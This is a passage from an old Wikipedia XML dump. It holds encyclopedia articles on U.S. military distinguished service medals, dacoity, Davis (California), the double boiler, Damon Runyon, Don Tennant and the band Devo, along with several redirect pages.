*[[Hugh John Casey|Casey, Hugh John]] (with Oak Leaf Cluster)
*[[Mark W. Clark|Clark, Mark W.]] (with 3 Oak Leaf Clusters) 
*[[Vern Clark|Clark, Vern]] (recipient of both the Army (with Oak Leaf Cluster) and [[Navy Distinguished Service Medal|Navy version]])
*[[Wesley Clark|Clark, Wesley]]
*[[Lucius D. Clay|Clay, Lucius D.]] (with Oak Leaf Cluster)
*[[Benjamin O. Davis, Sr.|Davis, Sr., Benjamin O.]]
*[[Benjamin O. Davis Jr.|Davis, Jr., Benjamin O.]]
*[[Jane Delano|Delano, Jane]] 
*[[William Donovan|Donovan, William J. 'Wild Bill']] (with Oak Leaf Cluster)
*[[Hugh A. Drum|Drum, Hugh A.]]
*[[Ira Eaker|Eaker, Ira]] (recipient of both the Army (with 2 Oak Leaf Clusters) and [[Navy Distinguished Service Medal|Navy version]])
*[[Dwight D. Eisenhower|Eisenhower, Dwight D.]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[Tommy Franks|Franks, Tommy]]
*[[Roy Geiger|Geiger, Roy]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[Ulysses S. Grant III|Grant III, Ulysses S.]]
*[[William Halsey, Jr.|Halsey, Jr., William &quot;Bull&quot;]] USN (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[Lewis Blaine Hershey|Hershey, Lewis Blaine]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[John L. Hines|Hines, John L.]]
*[[Oveta Culp Hobby|Hobby, Oveta Culp]]
*[[John P. Jumper|Jumper, John P.]] USAF (recipient of the Army, [[Air Force Distinguished Service Medal|Air Force]], and [[Navy Distinguished Service Medal|Navy version]])
*[[Alan Goodrich Kirk|Kirk, Alan]] 
*[[Richard Lally|Lally, Richard]]
*[[John A. Lejeune|Lejeune, John A (Lt. Gen. and Commandant, USMC)]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[Orlando Llenza|Llenza, Orlando]]
*[[Douglas MacArthur|MacArthur, Douglas]] (with 2 Oak Leaf Clusters)
*[[Peyton C. March|March, Peyton C.]]
*[[George Marshall|Marshall, George C.]] (with Oak Leaf Cluster)
*[[Richard J. Marshall|Marshall, Richard J.]] (with 2 Oak Leaf Clusters)
*[[Anthony McAuliffe|McAuliffe, Anthony]]
*[[Billy Mitchell|Mitchell, William 'Billy']]
*[[Chester Nimitz|Nimitz, Chester, Adm., USN]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[James B. Ord|Ord, James B.]] 
*[[George S. Patton|Patton, George S.]] (with 2 Oak Leaf Clusters)
*[[John J. Pershing|Pershing, John 'Black Jack']]
*[[Colin Powell|Powell, Colin]]
*[[Keller E. Rockey|Rockey, Keller E., USMC]] (recipient of both the Army and [[Navy Distinguished Service Medal|Navy version]])
*[[General John Wilson Ruckman|Ruckman, John Wilson]]
*[[Peter Schoomaker|Schoomaker, Peter]] (with Oak leaf Cluster)
*[[Norman Schwarzkopf, Jr.|Schwarzkopf, Jr., Norman]] (recipient of both the Army (with Oak Leaf Cluster)  and [[Navy Distinguished Service Medal|Navy version]])
*[[Eric Shinseki|Shinseki, Eric]]
*[[Joseph Stilwell|Stilwell, Joseph]] (with Oak Leaf Cluster)
*[[Samuel D. Sturgis Jr.|Sturgis, Jr., Samuel D.]] (with Oak Leaf Cluster) 
*[[Richard K. Sutherland|Sutherland, Richard Kerens]] (with Oak Leaf Cluster)
*[[Richard Winters]] (immortalized in the mini-series &quot;Band of Brothers&quot;)

{{expand list}}

[[Category:United States Army awards]]

[[fr:Distinguished service Medal (États-Unis d'Amérique)]]</text>
    </revision>
  </page>
  <page>
    <title>Defense Distinguished Service Medal</title>
    <id>9120</id>
    <revision>
      <id>41388930</id>
      <timestamp>2006-02-27T00:32:45Z</timestamp>
      <contributor>
        <username>Nobunaga24</username>
        <id>830002</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:DDSM.jpeg|right|]]
The '''Defense Distinguished Service Medal''' is a [[Awards and decorations of the United States military|United States military award]] which is presented for exceptionally distinguished performance of duty contributing to national security or defense of the [[United States]].  The decoration is awarded only at the highest levels of the military while assigned to a joint activity. The DDSM may also be awarded to other senior officers whose direct and individual contributions to [[national security]] or defense are recognized as being so exceptional in scope and value as to be equivalent to contributions normally associated with positions encompassing broader responsibilities.

It is the [[United States]]'s highest peacetime defense award. Normally, such responsibilities deserving of the Defense Distinguished Service Medal are held by the most senior officers such as the Chairman and Vice Chairman of the [[Joint Chiefs of Staff]], the Chiefs and Vice Chiefs of the Services, and [[Commander]]s and Deputy Commanders of the Unified Commands whose duties bring them into direct contact with the [[United States Secretary of Defense|Secretary of Defense]] and other senior officials. 

The medal is [[gold]] in color and on the obverse it features a medium blue [[enamel]]ed pentagon (point up). Superimposed on this is an [[Bald Eagle|American bald eagle]] with wings outspread facing left grasping three crossed arrows in its talons and on its breast is a shield of the United States. The pentagon and eagle are enclosed within a gold pieced circle consisting, in the upper half of thirteen five-pointed stars and in the lower half, a wreath of [[laurel]] on the left and [[olive]] on the right. At the top is a suspender of five graduated gold rays. The reverse of the medal has the inscription &quot;For Distinguished Service&quot; at the top in raised letters, and within the pentagon the inscription &quot;From The Secretary of Defense To,&quot; all in raised letters. This decoration takes precedence over the [[Distinguished Service Medal (USA)|Distinguished Service Medal]]s of the separate services and is not to be awarded to any individual for a period of service for which an [[United States Army|Army]], [[United States Navy|Navy]], [[United States Air Force|Air Force]] or [[United States Coast Guard|Coast Guard]] Distinguished Service Medal is awarded.

[[Category:Awards and decorations of the United States military]]</text>
    </revision>
  </page>
  <page>
    <title>Dacoity</title>
    <id>9121</id>
    <revision>
      <id>36305403</id>
      <timestamp>2006-01-23T03:03:22Z</timestamp>
      <contributor>
        <username>Rmhermen</username>
        <id>835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The word '''Dacoity''' is the [[anglicise|anglicized]] [[South Asia]]n version of the [[languages of India|Indian]] word  ''dakaethee'' which comes from ''dakoo'' which means armed robber.

* '''Dacoity''' ([[Hindi]]: डकैती, ḍakaitī ) means armed [[robbery]].

* '''Dacoit''' ([[Hindi]]: दकैत, ḍakait) means a [[bandit]].

The most infamous member of the '''Dacoit''' &quot;profession&quot; was probably India's [[Phoolan Devi]]. But the title of the most legendary dacoit is held by [[Daku Man Singh]] and [[Daku Nirbhay Gujjar]] who was killed recently. Between 1939 and 1955, he had notched up 1,112 dacoities, 185 murders, countless ransom kidnappings, was involved in 90 police encounters and he had 32 dead policemen under his belt.

== See also ==
[[Thuggee]]

{{india-stub}}

[[fr:Dacoït]]
[[sv:Dacoit]]
[[Category:Illegal occupations]]</text>
    </revision>
  </page>
  <page>
    <title>Divine Comedy</title>
    <id>9122</id>
    <revision>
      <id>15907034</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Divine Comedy]]
</text>
    </revision>
  </page>
  <page>
    <title>Davis, California</title>
    <id>9123</id>
    <revision>
      <id>40808452</id>
      <timestamp>2006-02-23T03:43:22Z</timestamp>
      <contributor>
        <username>Phoenix Hacker</username>
        <id>93845</id>
      </contributor>
      <text xml:space="preserve">{{mergefrom|Toad tunnel}}

'''Davis''' is a city located in [[Yolo County, California]].  As of the local census, the city had a total population of 64,821 (60,308 in 2000).  Davis is well-known in the state of [[California]] as being a socially and environmentally conscious university town.

== History ==
Davis grew around a [[Southern Pacific Railroad]] depot which was built in 1868. It was then known as &quot;Davisville&quot;, named for [[Jerome C. Davis]], a prominent local farmer. However, the post office at Davisville shortened the town name to simply &quot;Davis&quot; in 1907. The name stuck, and the city of Davis was incorporated in March  1917.

From its inception as a farming community, Davis has been known for its contributions to agriculture along with veterinary care and [[animal husbandry]]. This has especially been true ever since the [[University of California]] decided to build a [[land grant]] university there in 1908. Now the city is also known for its contributions in the areas of [[biotechnology]], [[medicine]] and other [[life sciences]].

== Geography ==
[[Image:CAMap-doton-Davis.png|right|frame| Location of Davis in Yolo County, California, USA]]Davis is located at {{coor dms|38|33|14|N|121|44|17|W}} (38.553856, -121.738095){{GR|1}} in [[Yolo County, California]]. The city is 18 km (11 mi) west of [[Sacramento, California|Sacramento]], 113 km (72 mi) northeast of [[San Francisco]], 619 km (385 mi) north of [[Los Angeles, California|Los Angeles]], at the intersection of [[Interstate 80]] and [[California State Highway 113]].  Neighboring towns include [[Dixon, California|Dixon]], [[Winters, California|Winters]], and [[Woodland, California|Woodland]].

Davis lies in the [[Sacramento Valley]] portion of the [[Central Valley]] in [[Northern California]], at an elevation of about 16 [[metre | m]] (52 [[foot (unit of length) | ft]]) above [[sea level | MSL]].

According to the [[United States Census Bureau]], the city has a total area of 27.1 [[square kilometre|km&amp;sup2;]] (10.5 [[square mile|mi&amp;sup2;]]).  27.1 km&amp;sup2; (10.4 mi&amp;sup2;) of it is land and 0.1 km&amp;sup2; (0.04 mi&amp;sup2;) of it is water.  The total area is 0.19% water.

The [[topography]] of Davis is very flat, which has helped Davis to become known as a haven for [[bicycle | bicyclists]].

== Climate ==
The climate in Davis resembles that of nearby [[Sacramento, CA | Sacramento]]. Davis is, however, closer to [[San Francisco Bay]] and the [[Sacramento River Delta]], which moderates the more extreme temperatures found elsewhere in the [[Sacramento Valley]] and nearby [[San Joaquin Valley]]. Summers in Davis are dry and hot, while winters are rainy and mild.

== Demographics ==
As of the [[United States 2000 Census]]{{GR|2}}, there are 60,308 people, 22,948 households, and 11,290 families residing in the city.  The [[population density]] is 2,228.2/km&amp;sup2; (5,769.2/mi&amp;sup2;).  There are 23,617 housing units at an average density of 872.6/km&amp;sup2; (2,259.3/mi&amp;sup2;).  The racial makeup of the city is 70.07% [[Race (U.S. Census)|White]], 2.35% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.67% [[Race (U.S. Census)|Native American]], 17.54% [[Race (U.S. Census)|Asian]], 0.24% [[Race (U.S. Census)|Pacific Islander]], 4.26% from [[Race (U.S. Census)|other races]], and 4.87% from two or more races.  9.61% of the population are [[Hispanic American | Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 22,948 households out of which 26.4% have children under the age of 18 living with them, 38.3% are [[Marriage | married couples]] living together, 8.2% have a female householder with no husband present, and 50.8% are non-families. 25.0% of all households are made up of individuals and 5.2% have someone living alone who is 65 years of age or older.  The average household size is 2.50 and the average family size is 3.00.

In the city the population is spread out with 18.6% under the age of 18, 30.9% from 18 to 24, 27.1% from 25 to 44, 16.7% from 45 to 64, and 6.6% who are 65 years of age or older.  The median age is 25 years.  For every 100 females there are 91.2 males.  For every 100 females age 18 and over, there are 87.8 males.

The median income for a household in the city is $42,454, and the median income for a family is $74,051. Males have a median income of $51,189 versus $36,082 for females. The [[per capita income]] for the city is $22,937.  24.5% of the population and 5.4% of families are below the [[poverty line]].  Out of the total population, 6.8% of those under the age of 18 and 2.8% of those 65 and older are living below the poverty line.

Demographics are unusual, even among &quot;college towns&quot;. This city of approximately 65,000 people is home to a university campus of 31,000 students.

==Bicycling==
Being flat, Davis is naturally a very good place for bicyclists. The town has taken advantage of that precursor, and when it expands, new bike paths are usually mandated by the city. As a result, Davis is covered in bike paths, and biking is one of the more common types of transportation, used especially by [[UC Davis]] students because of bicycling's relative inexpensiveness. Davis has been referred to as the &quot;Most bicycle friendly town in the world&quot;, as most of the bike paths are in good repair, and one can get just about anywhere without leaving bike paths or bike lanes in streets.

== Sights and Events ==
===Farmers Market===
Every Wednesday evening and Saturday morning, families and friends flock to the Central Park (on 4th and C street) in Davis to buy fresh produce, a healthy meal or baked goods at the '''Davis Farmers Market'''.  Open rain or shine, this event allows the participation of independent farmers, non-profit organizations, craftsmens and local businesses represented in a communal atmosphere. 

The times for the year-round Saturday market are from 8:00 a.m.-1:00 p.m. while the Wednesday market changes times with the season.  During the month of April to October runs the popular ''Picnic in the Park'' from 4:30-8:30 p.m. while during October through March the market is from 2:00-6:00 p.m. 

Available products include fruits and vegetables that are currently in season, baked goods, and dairy and meat products, often from certified organic farms.  With such a wide variety of produce and foods, many people can do the majority of their shopping here.  The available stands, shoppers and overall atmosphere greatly depend on each particular market.  For example ''Picnic in the Park'' is geared towards family attendance during dinner time because of the presence of a band and multiple restaurants.  Some of which include The Buckhorn, Katmandu and The Hotdogger.  While during the fall and winter months this market becomes smaller in size and geared mainly towards weekly shoppers.  The Saturday market includes some local restaurants along with a performing group, craft persons and various non-profit organizations.

More information of times, directions or becoming a market member can be found at their local website: http://www.davisfarmersmarket.org.  This website also includes a search for available products as well as a calendar filled with special events!

=== Toad Tunnel ===
[[Image:toadhotel.jpg|thumb|The Post Office is a great place to stay if you're a toad.]]

Davis' '''[[Toad]] Tunnel''' has drawn much attention over the years including a mention on [[The Daily Show]].  Because of the building of an overpass, animal lovers worried about toads being killed by cars commuting from South Davis to North Davis, since the toads hopped from one side of a dirt lot (which the overpass replaced) to the reservoir at the other end. After much controversy, a decision was made to build a toad tunnel, which runs beneath the Pole Line Road overpass.

The tunnel has created problems of its own.  The toads originally refused to use the tunnel and so the tunnel was lighted to encourage its use.  The toads then died from the heat of the lamps inside the tunnel.  The exit to the toad tunnel has been decorated by the Post-Master to resemble a toad town.

=== Whole Earth Festival ===
The '''Whole Earth Festival''' [http://wef.ucdavis.edu (WEF)] is a three-day music and education festival in the Spring, which usually takes place during Mother's Day Weekend on UC Davis' main quadrangle.  It is considered by many to be a must-see Davis event.  Every year, thousands of environmentally conscious, politically active and/or music-loving people make the pilgrimage to Davis for this event, for which the UCD quad is filled with hundreds of craft booths, music acts, education booths, and food booths.

A continuous stream of bands, speakers and various workshops occurs throughout the weekend on each of WEF's three stages and other specialty areas. The majority of the festival is solar powered.

WEF is organized primarily by UC Davis students, in association with the Associated Students of UC Davis (ASUCD) and the university.

=== UC Davis Arboretum ===
The [[University of California, Davis, Arboretum]] is a fine [[arboretum]] and [[botanical garden]].  California natives and desert plants are just two of the different plant types grown there.  In addition there is a nice redwood grove at one end of the arboretum.  There is a small river running through the arboretum and a pond in its center, which is home to many ducks and geese.  You can also occasionally see herons, kingfishers, and cormorants.  Tours of the arboretum are often held for children who are still in grade school.

=== Picnic Day ===
'''Picnic Day''' is an annual event held on the [[University of California, Davis]] during the month of April and is the largest student-run event in the US.  Picnic Day starts off with a parade (which starts and ends with the California Aggie Marching Band-Uh. Yes, they march it twice!) that runs through campus and around downtown Davis and ends with the Battle of the Bands, which lasts until the last band stops playing (sometimes until 2 am). There are over 150 free events  and over 50,000 attend every year. Other highlights include: the [[Dachshund]] races, aka: the Doxie Derby, held in the Rec Hall, the Davis Rock Challenge, the Chemistry Magic Show (sells out in advance), the sheep dog trials, and of course the wonderful food made by student groups. Picnic Day is also known for the copious amounts of alcohol students consume all day long.

=== Sports ===
Like most towns across [[United States|America]], Davis has baseball.  Davis Little League or DLL has 5 divisions of play, tee-ball, farm, AA, AAA, and majors. Afterwards comes competetive leagues and etc. Soccer comes around every fall and passes except for the competetive leagues. Roller Hockey is a great sport in this town. A new rink was just put in called Davis Indoor Sports Center or DISC for the reason. They hold Recreational leagues such as DIHA and DISC. Davis high schools baseball program is one of the top in the area and often win their sections title.

==Education==

The [[University of California, Davis]] a campus of the [[University of California]], had an enrollment of 30,065 students as of Fall 2004, and is a major research university. There is also a off-campus branch of [[Sacramento City College]] located in Davis.

The city has eight public elementary schools, three public junior high schools, and four high schools.

==City services==
The Davis Fire Department, founded in 1930 after a series of devastating fires, has three stations. Two of the existing stations, downtown and in south Davis, were built in 1960; the third, in west Davis, was built in 1980. 

== Notable Davisites ==
*[[DJ Shadow]] - Musician (born Josh Davis)
*[[Karen Joy Fowler]] - Author
*[[Michael Franti]] - Musician
*[[John Lescroart]] - Author
*[[Paul Moller]] - Inventor and professor
*[[Kim Stanley Robinson]] - Author
*[[Stephen Robinson]] - Astronaut (received [[Bachelor's degree]] from [[UC Davis]], 1978)
*[[Sean Stewart]] - Author
*[[Gary Snyder]] - Author
*[[Gary Lee Yoder]] - musician

== External links ==
*[http://www.city.davis.ca.us/ Official Webpage for Davis]
*[http://www.daviswiki.org/ Davis Wiki] - The Wiki for Davis
*[http://www.runmuki.com/paul/writing/davis.html Davis Cycling] - Cycling in North America's most bike-friendly city
{{Geolinks-US-cityscale|38.553856|-121.738095}}
*[http://www2.dcn.org/orgs/orthophotos/ Aerial photos] - From the city webpage

{{Cities of Yolo County, California}}
{{California}}

[[Category:Cities in California]]
[[Category:Yolo County, California]]

[[de:Davis (Kalifornien)]]</text>
    </revision>
  </page>
  <page>
    <title>Descending chain condition</title>
    <id>9124</id>
    <revision>
      <id>15907036</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ascending_chain_condition]]
</text>
    </revision>
  </page>
  <page>
    <title>Descending Chain Condition</title>
    <id>9125</id>
    <revision>
      <id>15907037</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ascending_chain_condition]]
</text>
    </revision>
  </page>
  <page>
    <title>Double boiler</title>
    <id>9127</id>
    <revision>
      <id>35351468</id>
      <timestamp>2006-01-16T03:21:36Z</timestamp>
      <contributor>
        <username>Hooperbloob</username>
        <id>113077</id>
      </contributor>
      <minor />
      <comment>+cat</comment>
      <text xml:space="preserve">A '''double-boiler''' is a stovetop apparatus used to cook delicate sauces
such as [[beurre blanc]], to melt [[chocolate]] without burning, or for any occasion when more indirect heating is desired.

It consists of a [[Cooking pan|saucepot]] of boiling water, on top of which a second pot fits, so that the latter is heated by steam.

If one does not own such a device, the same cooking technique can be achieved by placing a metal bowl or glass bottle in a larger pot of boiling water.

A similar device is the [[bain-marie]].

Compare to [[double steaming]].

[[Category:Cookware and bakeware]]
[[Category:Boilers]]</text>
    </revision>
  </page>
  <page>
    <title>Damon Runyon</title>
    <id>9128</id>
    <revision>
      <id>42068151</id>
      <timestamp>2006-03-03T16:22:48Z</timestamp>
      <contributor>
        <username>Jeffcovey</username>
        <id>1007558</id>
      </contributor>
      <comment>added an example of &quot;more than somewhat&quot; from the story &quot;romance in the roaring 40s&quot;.</comment>
      <text xml:space="preserve">[[Image:DamonRunyon.jpeg|right|thumb|Damon Runyon]]

'''Damon Runyon''' ([[October 4]], [[1884]] – [[December 10]], [[1946]]) was a newspaperman and writer.

He was best known for his short stories celebrating the world of Broadway in [[New York City]] that grew out of the [[Prohibition]] era.  He spun tales of gamblers, petty thieves, actors and gangsters; few of whom go by &quot;square&quot; names, preferring instead to be known as &quot;Nathan Detroit&quot;, &quot;Big Jule&quot;, &quot;Harry the Horse&quot;, &quot;Good Time Charlie&quot;, &quot;Dave the Dude&quot;, and so on. To New Yorkers of his generation, a &quot;Damon Runyon character&quot; evoked a distinctive social type from the Brooklyn or Midtown demi-monde; this type is also commonly referred to today as &quot;Runyonesque&quot;, though not limited to just people. These stories were written in a very distinctive vernacular style: a mixture of formal speech and colorful slang, always in present tense, and always devoid of contractions. 

Here is an example from the story &quot;Tobias the Terrible&quot;, collected in ''More than Somewhat'' (1937):

:If I have all the tears that are shed on Broadway by guys in love, I will have enough salt water to start an opposition ocean to the Atlantic and Pacific, with enough left over to run the Great Salt Lake out of business.  But I wish to say I never shed any of these tears personally, because I am never in love, and furthermore, barring a bad break, I never expect to be in love, for the way I look at it love is strictly the old phedinkus, and I tell the little guy as much.

He also makes use of many slang terms and phrases in his work (but not so many you can't understand a sentence anymore), which add an authentic feel to the story (see example above). Some examples include:
*ever-loving--almost always prefacing 'wife'; i.e. &quot;his ever-loving wife&quot;
*more than somewhat--quite a bit, a lot; i.e. &quot;he is more than somewhat married&quot;
*pineapple--pineapple grenade
*roscoe/john roscoe--gun
*shiv--knife

The musical ''[[Guys and Dolls]]'' was based on two Runyon stories, &quot;The Idyll Of Miss Sarah Brown&quot; and &quot;Blood Pressure&quot;; the play ''[[Little Miss Marker]]'' grew from his short story of the same name.

==Biography==

He was born '''Alfred Damon Runyan''' in [[Manhattan, Kansas|Manhattan]], [[Kansas]], and grew up in [[Pueblo, Colorado]], where Runyon Field and Runyon Lake are named after him.  He was a third-generation newspaperman, and started in the trade under his father in Pueblo. He worked for various newspapers in the [[Rocky Mountains|Rocky Mountain]] area; at one of those, the spelling of his last name was changed from &quot;Runyan&quot; to &quot;Runyon&quot;, a change he let stand. After a notable failure in trying to organize a [[Colorado]] [[minor league baseball|minor baseball league]], Runyon moved to [[New York City]] in [[1910]].  For the next ten years he covered the [[San Francisco Giants|New York Giants]] and professional [[boxing]] for the ''[[New York American]]''. In his first New York byline, the ''American'' editor dropped the &quot;Alfred&quot;, and the name &quot;Damon Runyon&quot; appeared for the first time.

A heavy drinker as a young man, he seems to have quit the bottle soon after arriving in New York, after his drinking nearly cost him the courtship of the woman who became his first wife, Ellen Egan.   He remained a heavy smoker.

His best friend was [[mafia]] accountant [[Otto Berman]], and he incorporated Berman into several of his stories under the alias &quot;Regret.&quot; When Berman was killed in a hit on Berman's boss, [[Dutch Schultz]], Runyon quickly assumed the role of [[damage control]] for his deceased friend, correcting erroneous press releases (including one that stated Berman was one of Schultz's gunman, to which Runyon replied, ''Otto would have been as effective a bodyguard as a two year old.'')

Runyon frequently contributed sports poems to the ''American'' on boxing and baseball themes, and also wrote numerous short stories and essays. He was the Hearst newspapers' baseball columnist for many years, beginning in 1911, and his knack for spotting the eccentric and the unusual, on the field or in the stands, is credited with revolutionising the way baseball was covered. Perhaps as confirmation, Runyon was inducted into the writers' wing (the [[J.G. Taylor Spink Award]]) of the [[Baseball Hall of Fame]] in 1967. He is also a member of the [[International Boxing Hall Of Fame]] and is known for dubbing heavyweight champion [[James J. Braddock]] the [[Cinderella Man]].

[[Gambling]] was a common theme of Runyon's works, and he was a notorious gambler himself. A well-known saying of his paraphrases [[Ecclesiastes]]: &quot;The race is not always to the swift, nor the battle to the strong, but that's the way to bet.&quot;

Runyon's marriage to Ellen Egan produced two children (Mary and Damon, Jr.), and broke up in 1928 over rumors that Runyon had become infatuated with a Mexican girl he had first met while covering the [[Pancho Villa]] raids in 1916 and discovered once again in New York, when she called the American seeking him out. Runyon had promised her in Mexico that, if she would complete the education he paid for her, he would find her a dancing job in New York. Her name was '''Patrice Amati del Grande''', and she became his companion after he separated from his wife. After Ellen Runyon died of the effects of her own drinking problems, Runyon and Patrice married. Though Runyon forged a better relationship with his children, the marriage ended when Patrice left him for a younger man in the same year he died (1946). 

He died in [[New York City]] from [[throat cancer]] in 1946, at the age of 62, and was interred in the [[Woodlawn Cemetery]] in The [[Bronx, New York]]. 

The [[Damon Runyon Cancer Research Foundation]], established in his honor, was set up to fund promising scientists in the field of cancer research.

==Runyon in Popular Culture==
===Books===
''The Tents of Trouble'' (Poems; 1911)

''Rhymes of the Firing Line'' (1912)

''Guys and Dolls'' (1932)

''Damon Runyon's Blue Plate Special'' (1934)

''Money From Home'' (1935)

''More Than Somewhat'' (1937)

''Furthermore'' (1938)

''Take It Easy'' (1938)

''My Wife Ethel'' (1939)

''My Old Man'' (1939)

''The Best of Runyon'' (1940)

''A Slight Case of Murder'' (with Howard Lindsay, 1940)

''Damon Runyon Favorites'' (1942)

''Capt. Eddie Rickenbacker'' (with W. Kiernan, 1942)

''Runyon a la Carte'' (1944)

''The Damon Runyon Omnibus'' (1944)

''Short Takes'' (1946)

''In Our Town'' (1946)

''The Three Wise Guys and Other Stories'' (1946)

''Trials and Other Tribulations'' (1947)

''Poems for Men'' (1947)

''Runyon First and Last'' (1949)

''Runyon on Broadway'' (1950)

''More Guys and Dolls'' (1950)

''The Turps'' (1951)

''Damon Runyon from First to Last'' (1954)

''A Treasury of Damon Runyon'' (1958)

''The Bloodhounds of Broadway and Other Stories'' (1985)

''Guys, Dolls, and Curveballs: Damon Runyon on Baseball'' (2005; Jim Reisler, editor)

===Films===
Numerous Damon Runyon stories were adapted for the stage and the screen. Some of the best of these include:

*''Lady for a Day'' (1933)---Adapted by Bob Riskin, who suggested the name change from Runyon's title &quot;Madame La Gimp,&quot; the film garnered Academy Award nominations for Best Picture, Best Director (Frank Capra), Best Actress (May Robson), and Best Adaptation for the Screen (Riskin). This would be remade as ''Pocketful of Miracles'' in 1961, with Bette Davis in the Apple Annie role and a rather jauntily Runyonesque singer named [[Sinatra]] hitting big with its upbeat theme song---which garnered an Oscar nomination for composers [[Sammy Cahn]] and [[Jimmy Van Heusen]] and for co-star Peter Falk (Best Supporting Actor).

*''The Lemon Drop Kid'' (1934)---Starring future ''[[I Love Lucy]]'' co-star William Frawley as a racetrack tout.

*''Little Miss Marker'' (1934)---The film that made [[Shirley Temple]] a star, launched her career as perhaps America's most beloved [[child film star]], and pushed her past [[Greta Garbo]] as the nation's biggest film draw of the year. Subsequent remakes include ''Sorrwful Jones'' (1949; [[Bob Hope]], [[Lucille Ball]]), ''Forty Pounds of Trouble'' (1963; [[Tony Curtis]]), and ''Little Miss Marker'' (1980; [[Walter Matthau]], [[Julie Andrews]], [[Bob Newhart]], Tony Curtis.)

*''A Slight Case of Murder'' (1938; Edward G. Robinson).

*''The Big Street'' (1942, adapted from Runyon's story, &quot;The Little Pinks&quot;; Henry Fonda, Lucille Ball).

*''Butch Minds the Baby'' (1942; Broderick Crawford, Shemp Howard)

*''It Ain't Hay'' (1943, adapted from &quot;Princess O'Hara; Bud Abbott, Lou Costello, Patsy O'Connor)

*''Money From Home'' (1953; Dean Martin, Jerry Lewis)

*''Guys and Dolls'' (1955; Marlon Brando, Jean Simmons, Frank Sinatra)

===Miscellany===
* He was the inspiration for history's first [[telethon]], hosted by [[Milton Berle]] in 1949 to raise funds for the Damon Runyon Cancer Research Foundation.

* He is mentioned in the song: &quot;Department Of Youth&quot; by [[Alice Cooper]]. &quot;We're living proof. And we've never heard of [[Billy Sunday]], [[Damon Runyon]], manners or couth.&quot;

* It was Damon Runyon who first uttered the famous phrase, &quot;Trust, but verify,&quot; that is often attributed to [[U.S. President]] [[Ronald Reagan]]. The president is often quoted as having said it and he probably did (in relation to arms-reduction talks with the [[Soviet Union]]), but Reagan was quoting Runyon. And undoubtedly, as an actor from the same era as Runyon's colorful characters, Reagan knew he was quoting Runyon.

* In the movie [[Cinderella Man]], [[Nicholas Campbell]]'s character, Sporty Lewis, was inspired by Damon Runyon.

==References==
*[[Media:Runyon-Damon_draft.gif|World War I draft card]]

==External links==
{{wikiquote}}
* [http://www.baseballhalloffame.org/hofers_and_honorees/spink_bios/runyon_damon.htm Baseball Hall of Fame - Spink Award recipient]


[[Category:1884 births|Runyon, Damon]]
[[Category:1947 deaths|Runyon, Damon]]
[[Category:American journalists|Runyon, Damon]]
[[Category:American writers|Runyon, Damon]]
[[Category:American sportswriters|Runyon, Damon]]
[[Category:J.G. Taylor Spink Award|Runyon, Damon]]
[[Category:People from Kansas|Runyon, Damon]]
[[he:&amp;#1491;&amp;#1497;&amp;#1497;&amp;#1502;&amp;#1493;&amp;#1503; &amp;#1512;&amp;#1488;&amp;#1504;&amp;#1497;&amp;#1493;&amp;#1503;]]</text>
    </revision>
  </page>
  <page>
    <title>Don Tennant</title>
    <id>9129</id>
    <revision>
      <id>18574444</id>
      <timestamp>2005-07-11T03:28:09Z</timestamp>
      <contributor>
        <ip>24.14.169.157</ip>
      </contributor>
      <text xml:space="preserve">'''Donald G. Tennant''' ([[November 23]], [[1922]] - [[December 8]], [[2001]]) was an American advertising agency executive.

He worked at the [[Leo Burnett]] agency in [[Chicago, Illinois]].  The agency is noted for putting anthropomorphic faces of &quot;critters&quot; on packaged goods.  He was the first to draw [[Tony the Tiger]] for [[Kellogg's]] Sugar Frosted Flakes in 1952. Tennant was also in charge of the [[Marlboro (cigarette)|Marlboro]] account and invented the [[Marlboro Man]].

[[Category:1922 births|Tennant, Don]]
[[Category:2001 deaths|Tennant, Don]]</text>
    </revision>
  </page>
  <page>
    <title>Devo</title>
    <id>9130</id>
    <revision>
      <id>41366389</id>
      <timestamp>2006-02-26T22:04:05Z</timestamp>
      <contributor>
        <ip>68.6.76.2</ip>
      </contributor>
      <comment>/* Devo 2.0 */</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Devo |
  image             = [[Image:DevoPromoAreWeNotMenEra.jpg|325px|Bob Mothersbaugh, Gerald Casale, Mark Mothersbaugh, Alan Myers &amp; Bob Casale in 1980]] |
  years_active      = [[1972]]-[[1991]], [[2000]]-present |
  country           = [[U.S.A.]] |
  music_genre       = [[New Wave music|New Wave]] |
  record_label      = [[Warner Brothers Records]] |
  current_members   = [[Mark Mothersbaugh]]&lt;br/&gt;[[Bob Mothersbaugh]]&lt;br/&gt;[[Gerald Casale]]&lt;br/&gt;[[Bob Casale]]&lt;br/&gt;[[Alan Myers]] |
}}
  
'''Devo''' (pronounced either DEE-vo or de-VO, sometimes spelled Dev-O and often &quot;DEVO&quot;) is an American [[rock music]] music group formed in [[Akron, Ohio]] in 1972.

Their style has been variously classified as [[punk rock|punk]], [[industrial music|industrial]] and [[Rock (music)|rock]], but are most often considered to be the 70s/early 80s [[New Wave music|New Wave]] band that ushered in the synth pop of the [[1980s]], along with other acts such as [[Gary Numan]], [[Oingo Boingo]], and [[The B-52's]]. 

Devo's music and stage show mingle [[kitsch]] [[science fiction]] themes, deadpan [[surrealism|surrealist]] humor, and mordantly satirical social commentary in sometimes-[[Consonance and dissonance|discordant]] pop songs that often feature unusual synthetic instrumentation and [[time signature]]s. 

